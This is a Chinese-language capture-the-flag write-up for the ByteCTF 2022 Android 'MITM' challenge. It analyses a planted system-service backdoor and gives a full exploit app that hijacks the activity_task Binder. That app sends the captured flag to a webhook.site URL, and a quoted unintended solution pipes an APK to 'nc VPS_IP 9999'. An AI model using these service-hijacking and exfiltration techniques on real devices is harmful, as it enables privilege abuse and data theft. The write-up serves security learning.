ByteCTF2022 MITM分析

APK分析

AndroidManifest.xml

之前介绍过

mode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android" android:versionCode="1" android:versionName="1.0" android:compileSdkVersion="32" android:compileSdkVersionCodename="12" package="com.bytedance.mitm" platformBuildVersionCode="32" platformBuildVersionName="12">
<uses-sdk android:minSdkVersion="27" android:targetSdkVersion="32"/>
<application android:theme="@style/Theme.MITM" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:debuggable="true" android:allowBackup="true" android:supportsRtl="true" android:extractNativeLibs="false" android:fullBackupContent="@xml/backup_rules" android:roundIcon="@mipmap/ic_launcher_round" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules">
<activity android:name="com.bytedance.mitm.MainActivity" android:exported="true" android:launchMode="singleInstance">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
<provider android:name="androidx.startup.InitializationProvider" android:exported="false" android:authorities="com.bytedance.mitm.androidx-startup">
<meta-data android:name="androidx.emoji2.text.EmojiCompatInitializer" android:value="androidx.startup"/>
<meta-data android:name="androidx.lifecycle.ProcessLifecycleInitializer" android:value="androidx.startup"/>
</provider>
</application>
</manifest>

MainActivity

MainActivity 中有一个check方法,通过反射拿到了activity_task 这个系统服务的IBinder对象 ,然后使用 transact 方法向该服务发送一个代表检查前台 Activity 屏幕兼容模式(getFrontActivityScreenCompatMode)的请求,请求码为 17。服务将发送响应,响应中包含一个整数值,表示前台 Activity 的屏幕兼容模式。如果该值等于 1337,则表示屏幕兼容模式符合要求,代码会发送一个名为 bytedance.ctf.androidmitm 的广播,广播附带了一个名为 flag 的字符串,其值为 “ByteCTF{xxx}” 。

ByteCTF2022 MITM复现 | LLeaves Blog

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
package com.bytedance.mitm;

import android.content.Intent;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.util.Log;
import androidx.appcompat.app.AppCompatActivity;
import java.lang.reflect.InvocationTargetException;

/* loaded from: classes3.dex */
public class MainActivity extends AppCompatActivity {
public static String TAG = "MAIN";

/* JADX INFO: Access modifiers changed from: protected */
@Override // androidx.fragment.app.FragmentActivity, androidx.activity.ComponentActivity, androidx.core.app.ComponentActivity, android.app.Activity
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
check();
}

public void check() {
Log.d(TAG, "Call ActivityTaskManagerService.getFrontActivityScreenCompatMode");
try {
IBinder am = (IBinder) Class.forName("android.os.ServiceManager").getDeclaredMethod("getService", String.class).invoke(null, "activity_task");
Parcel _data = Parcel.obtain();
Parcel _reply = Parcel.obtain();
_data.writeInterfaceToken("android.app.IActivityTaskManager");
am.transact(17, _data, _reply, 0);
_reply.readException();
int result = _reply.readInt();
Log.d(TAG, String.valueOf(result));
if (result == 1337) {
Log.d(TAG, "Congrats!");
Intent intent = new Intent();
intent.setAction("bytedance.ctf.androidmitm");
intent.putExtra("flag", "ByteCTF{xxx}");
sendBroadcast(intent);
}
} catch (RemoteException | ClassNotFoundException | IllegalAccessException | NoSuchMethodException | InvocationTargetException e) {
e.printStackTrace();
}
}
}

通过反射拿到系统服务的 Binder:activity_task

ServiceManager.getService(“activity_task”):从系统的 ServiceManager 里取出名为 activity_task 的服务。

在Android 10+,很多 Activity/Task 管理相关的系统能力在**ActivityTaskManagerService (ATMS)**。

缩写 全称 管什么 可以把它想成
AMS ActivityManagerService 进程 & Activity 生命周期 Android 的进程总调度室
ATMS ActivityTaskManagerService Activity / Task / 栈 Activity 栈管理器
PMS PackageManagerService 安装包 & 权限 应用 & 权限户口本
WMS WindowManagerService 窗口 & 显示 屏幕和窗口的导演

AMS 管的是进程级别的东西

  • App 进程的创建 / 杀死
  • Activity / Service / Broadcast 的生命周期调度
  • ANR 监控
  • 前后台进程管理
  • OOM_ADJ(谁先被杀)

为什么有 ATMS?

Android 10以后:

  • AMS 太大了
  • Activity / Task / 栈逻辑太复杂

ATMS 管什么?

  • Activity 启动 / 切换
  • Task(任务栈)
  • 前台 Activity
  • 多窗口 / 分屏
  • 屏幕兼容模式(你题里的 getFrontActivityScreenCompatMode

PMS 是安全相关最重要的服务之一

  • APK 安装 / 卸载
  • AndroidManifest.xml 解析
  • 权限授予 / 校验
  • 签名校验
  • queryIntentActivities
  • checkPermission

WMS 管的是屏幕上看到的一切

  • Window 的创建 / 销毁
  • Activity 显示层级
  • Z-order(谁盖住谁)
  • Touch / Key 分发
  • Surface 管理(和 SurfaceFlinger 配合)

返回值是 IBinder:也就是这项系统服务的 Binder 通道,Activity、Service、ContentProvider通过Binder跨进程通信。

为什么用反射?ServiceManager在 SDK 里属于隐藏/限制访问的东西,直接调用容易被限制或编译报错。

Parcel是 Binder IPC 的序列化容器

RPC ⊂ IPC(RPC 是 IPC 的一种使用方式)IPC 解决怎么传,RPC 解决怎么用得像本地调用。

transact和onTransact的区别-CSDN博客

writeInterfaceToken(“android.app.IActivityTaskManager”):

  • Binder 的一个安全/一致性校验字段。
  • 相当于是告诉系统是在按 IActivityTaskManager 这个接口的协议在说话

它相当于Binder 的接口身份证。

如果 token 不对,系统通常会拒绝或抛异常

服务端会怎么用这个 token?

在 system_server 里,ATMS 的 onTransact() 一般是这样开头的:

1
data.enforceInterface(DESCRIPTOR);

enforceInterface() 会做什么?

  1. data读出你写的 token
  2. 和自己的 DESCRIPTOR 比较
  3. 不一致 → 直接抛 SecurityException

也就是说:token 不对,后面的代码根本不会执行

android.app.IWindowManager过去直接会被拒绝

1
2
3
am.transact(17, _data, _reply, 0);
_reply.readException();
int result = _reply.readInt();

向系统服务发起一次 Binder 调用(code=17),等它处理完,如果没出错,就从返回包里读出一个 int 结果。

参数 含义
am 远程系统服务的 Binder 代理(ATMS)
17 transaction code(代表要调用的方法)
_data 请求数据包(参数)
_reply 返回数据包
0 flags(同步调用)

在 Binder 里:没有函数名,只认整数 code

如何确定code=17是getFrontActivityScreenCompatMode?

我们可看/system/framework/services.jar

ServiceManager 是 Android 系统中 Binder 通信的核心部分,负责服务的注册和查询。它在 Android 系统启动时由 init 进程通过 rc 文件启动,并在整个系统运行期间管理所有的系统服务。

image-20260204144151434

image-20260204145922640

系统环境分析

read.me

1
2
3
在Android Studio中通过SDK Manager -> SDK Update Sites添加如下url:
https://gwynsh.oss-cn-shanghai.aliyuncs.com/mitm.xml
之后就可以创建模拟器在本地测试。

有提示告诉我们启动一个出题人魔改的镜像

复现的时候

damn

image-20260203225130334

2026了 4年了 已经寄了

没办法只能分析下思想了

使用HexWin64和DiskGenius搜索字符串并进行定位,发现在/system/framework/service.jar 中的com.android.server.am.ActivityManagerService 包含一个方法,也就是说官方给了一个方法用于添加系统服务,但是这个函数没有直接被加在service上(仅有“后端”,没有“前端”),也需要通过transcat来调用,具体写法可以模仿check函数。

godGiveMeAddService接收两个参数:name 和 service。其中,name 表示要添加的 Service 的名称,service 是一个 IBinder 对象,用于提供对该 Service 的访问。

其中的addService方法有两个特点:

  • 如果添加的是已经存在的service,默认会进行替换
  • 普通APP的service被添加后,权限不会变化,不会获得system权限
1
2
3
4
public void godGiveMeAddService(String name, IBinder service) {
Log.d("Bytedance", "Android God gives you addService()");
ServiceManager.addService(name, service, false, 8);
}

在/system/framework/framework.jar的android.app.IActivityManager中找到关于该方法的更多细节,首先是定义了static final int TRANSACTION_godGiveMeAddService = 223; 即TRANSACTION_code ,然后定义了收到transcat 时的动作,获取到Parcel对象中的数据后调用godGiveMeAddService

1
2
3
4
5
6
7
8
9
10
public boolean onTransact(int code, Parcel data, Parcel reply, int flags) throws RemoteException {
// ...
case 223:
data.enforceInterface(DESCRIPTOR);
String _arg0183 = data.readString();
IBinder _arg1126 = data.readStrongBinder();
godGiveMeAddService(_arg0183, _arg1126);
reply.writeNoException();
return true;
}

前面提到的check要直接通过transcat调用,主要有两点原因:

替换了system service之后,并不是所有系统请求立刻会走新的service,原因是framework中会保存许多binder,就好像缓存一样,因此必须通过getService拿到新的binder并发送请求

方便选手模仿这个函数调用godGiveMeAddService

漏洞分析

bytectf_mitm - marginal’s blog

通过jadx的分析我们看到check()在与activity_task通讯返回1337之后会把flag信息通过广播发送出去,看到这里题目的意思应该是让我们想办法更改activity_task服务的返回值以及写一个广播接收器.

首先是更改activtiy_task服务, 这个服务属于系统服务, 普通app没有权限去更改系统服务, 也就是没有权限调用android.os.ServiceManager.addService()这个方法.所以我们得借助更高权限的应用来达到我们的目的. 拥有这一权限的应用, 比如系统app(存放在/system/priv-app, /system/app等目录下, 用户安装的app在/data/app目录下), 还有就是frameworks(activty_task服务的注册就是在这里).

首先需要提取frameworks.jar以及service.jar(要寻找服务添加的权限提升, services.jar就是服务注册代码的存放位置), 直接用adb从模拟器pull下来就行了

在services.jar找到权限提升漏洞的地方, 明显看出来这其实是出题人留下的后门

1
2
3
4
public void godGiveMeAddService(String name, IBinder service) {
Log.d("Bytedance", "Android God gives you addService()");
ServiceManager.addService(name, service, false, 8);
}

找一下交叉引用发现services.jar里面没有, framework.jar: android.app.IActivityManager存在调用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
public boolean onTransact(int code, Parcel data, Parcel reply, int flags) throws RemoteException {
Stub iActivityManager$Stub0 = this;
Parcel parcel2 = data;
Parcel parcel3 = reply;
if(code != 0x5F4E5446) {
IBinder iBinder0 = null;
int v2 = 0;
switch(code) {
//...................................................................
case 0xDF: {
break;
}
default: {
return super.onTransact(code, data, reply, flags);
}
}

parcel2.enforceInterface("android.app.IActivityManager");
iActivityManager$Stub0.godGiveMeAddService(data.readString(), data.readStrongBinder());
reply.writeNoException();
return true;
//..........................
}
//............
}

这里也是一个binder通讯, 所以目前大致的思路是

  1. 设计一个binder, onTransact通讯在code等于0x11的时候往返回包里面写一个0x539
  2. 用binder与android.app.IActivityManager通讯, 将activtiy_task服务替换为我们自己设计的binder
  3. 注册一个广播接收器, 接受action为”bytedance.ctf.androidmitm”的广播
  4. 启动app-debug.apk应用, 触发check函数.
  5. 广播接收器进行flag接收与发送

利用类似中间人攻击的思路,用自己继承的Binder替换掉ActivityTaskManagerService,然后就可以任意控制返回结果,但是也要注意必须保存ActivityTaskManagerService,因为本身攻击只是做一个中间人,如果直接替换而不进行保存和后续调用就会引发错误。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public class MyBinder extends Binder {
@Override
protected boolean onTransact(int code, @NonNull Parcel data, @Nullable Parcel reply, int flags) throws RemoteException {
Log.d("hit", String.valueOf(code));
if(code == 17) {
reply.writeNoException();
reply.writeInt(1337);
return true;
}
return origin.transact(code, data, reply, flags);
// 注意,这是必须的,否则无法正常startActivity
// 也就是需要一个完整的“MITM”
}
}

MainActivity

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
package com.bytectf.attackmitm;

import androidx.annotation.NonNull;
import androidx.annotation.Nullable;
import androidx.appcompat.app.AppCompatActivity;

import android.app.ActivityManager;
import android.app.Service;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.ServiceConnection;
import android.net.Uri;
import android.net.wifi.aware.PublishConfig;
import android.os.Binder;
import android.os.Bundle;
import android.os.IBinder;
import android.os.Parcel;
import android.os.RemoteException;
import android.util.Log;

import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.net.HttpURLConnection;
import java.net.MalformedURLException;
import java.net.ProtocolException;
import java.net.URL;

public class MainActivity extends AppCompatActivity {
public static final String TAG = "Evil";
public IBinder origin;

public class MyBinder extends Binder {
@Override
protected boolean onTransact(int code, @NonNull Parcel data, @Nullable Parcel reply, int flags) throws RemoteException {
Log.d("hit", String.valueOf(code));
if(code == 17) {
reply.writeNoException();
reply.writeInt(1337);
return true;
}
return origin.transact(code, data, reply, flags);
}
}

public BroadcastReceiver flagReceiver = new BroadcastReceiver() {
@Override
public void onReceive(Context context, Intent intent) {
if(intent.getAction().equals("bytedance.ctf.androidmitm")) {
httpGet(intent.getStringExtra("flag"));
Log.d(TAG, "FLAG_RECEIVER");
}
}
};

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
registerReceiver(flagReceiver, new IntentFilter("bytedance.ctf.androidmitm"));

try{
origin = (IBinder) Class.forName("android.os.ServiceManager").getDeclaredMethod("getService", String.class).invoke(null, "activity_task");

IBinder am = (IBinder) Class.forName("android.os.ServiceManager").getDeclaredMethod("getService", String.class).invoke(null, "activity");

addService(am, "activity_task", new MyBinder());

} catch (IllegalAccessException | ClassNotFoundException | NoSuchMethodException | InvocationTargetException e) {
e.printStackTrace();
}

Intent intent_mitm = new Intent();
intent_mitm.setClassName("com.bytectf.mitm", "com.bytectf.mitm.MainActivity");
startActivity(intent_mitm);
}

public void addService(IBinder am, String name, IBinder service) {
Parcel _data = Parcel.obtain();
Parcel _reply = Parcel.obtain();
_data.writeInterfaceToken("android.app.IActivityManager");
_data.writeString(name);
_data.writeStrongBinder(service);
try {
am.transact(223, _data, _reply, 0);
_reply.readException();
} catch (RemoteException e) {
e.printStackTrace();
}
finally {
_data.recycle();
_reply.recycle();
}
}

public void httpGet(String msg){
Log.d(TAG, msg);
new Thread(new Runnable() {
@Override
public void run() {
try {
HttpURLConnection httpURLConnection = null;
URL url = new URL("https://webhook.site/23772e88-xxxxxxxxxx/?msg=" + msg);
httpURLConnection = (HttpURLConnection) url.openConnection();
httpURLConnection.setRequestMethod("GET");
httpURLConnection.getInputStream();

} catch (IOException e) {
e.printStackTrace();
}

}
}).start();
}

}

① 保存原始的 activity_task Binder:origin = getService(“activity_task”)

② 拿到 activity 服务的 Binder:IBinder am = getService(“activity”)

image-20260204151914976

非预期

来自WM

在比赛的第一天,我们发现题目存在非预期解,主要原因在于APP可以申请QUERY_ALL_PACKAGES权限,这是一个normal permission,会自动赋予APP。然后通过PackageManager查询到被攻击APP的base apk路径,进而直接读取APK。

在这里引用W&M的非预期解

1
<uses-permission-sdk-23 android:name="android.permission.QUERY_ALL_PACKAGES"/>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
void test1(){
try {
Process exec = Runtime.getRuntime().exec("pm path com.bytedance.mitm");
InputStreamReader inputStreamReader = new InputStreamReader(exec.getInputStream());
BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
String s = bufferedReader.readLine();
s = s.replace("package:","");
Log.d(TAG, "test1aaaa: "+s);
if (s != null){
String file = s;
String[] cmd = new String[]{"sh", "-c", "cat " + file + " | nc VPS_IP 9999"};
//String cmd = "ls -la "+fiale;
try {
Process exec1 = Runtime.getRuntime().exec(cmd);
InputStreamReader inputStreamReader1 = new InputStreamReader(exec1.getInputStream());
BufferedReader bufferedReader1 = new BufferedReader(inputStreamReader1);
String s1 = bufferedReader1.readLine();
Log.d(TAG, "test1bbbb: "+s1);
} catch (IOException e) {
Log.d(TAG, "test1cccc: ",e);

e.printStackTrace();
}
}

} catch (IOException e) {
e.printStackTrace();
}
}

注意:这里不是用 PackageManager API,而是直接起了一个 shell 命令 pm

image-20260204161900479

效果是一样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
package com.bytectf.pwnsilverdroid;

import android.content.Context;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageManager;
import android.util.Log;

import androidx.test.platform.app.InstrumentationRegistry;
import androidx.test.ext.junit.runners.AndroidJUnit4;

import org.junit.Test;
import org.junit.runner.RunWith;

import static org.junit.Assert.*;

import java.io.BufferedReader;
import java.io.InputStreamReader;

/**
* Instrumented test, which will execute on an Android device.
*
* @see <a href="http://d.android.com/tools/testing">Testing documentation</a>
*/
@RunWith(AndroidJUnit4.class)
public class ExampleInstrumentedTest {

private static final String TAG = "PM_TEST";
private static final String TARGET = "com.bytectf.golddroid";

@Test
public void testPmVsApi() throws Exception {
Context ctx = InstrumentationRegistry
.getInstrumentation()
.getTargetContext();

PackageManager pm = ctx.getPackageManager();

// =========================
// 1. PackageManager API
// =========================
try {
ApplicationInfo ai =
pm.getApplicationInfo(TARGET, 0);
Log.d(TAG, "[API] sourceDir = " + ai.sourceDir);
} catch (PackageManager.NameNotFoundException e) {
Log.d(TAG, "[API] NameNotFoundException");
} catch (Exception e) {
Log.d(TAG, "[API] Exception: " + e);
}

// =========================
// 2. pm path (Runtime.exec)
// =========================
try {
Process p = Runtime.getRuntime()
.exec(new String[]{"sh", "-c", "pm path " + TARGET});

BufferedReader br = new BufferedReader(
new InputStreamReader(p.getInputStream()));

String line;
boolean hasOutput = false;
while ((line = br.readLine()) != null) {
hasOutput = true;
Log.d(TAG, "[PM] " + line);
}

if (!hasOutput) {
Log.d(TAG, "[PM] no output");
}

} catch (Exception e) {
Log.d(TAG, "[PM] Exception: " + e);
}
}
}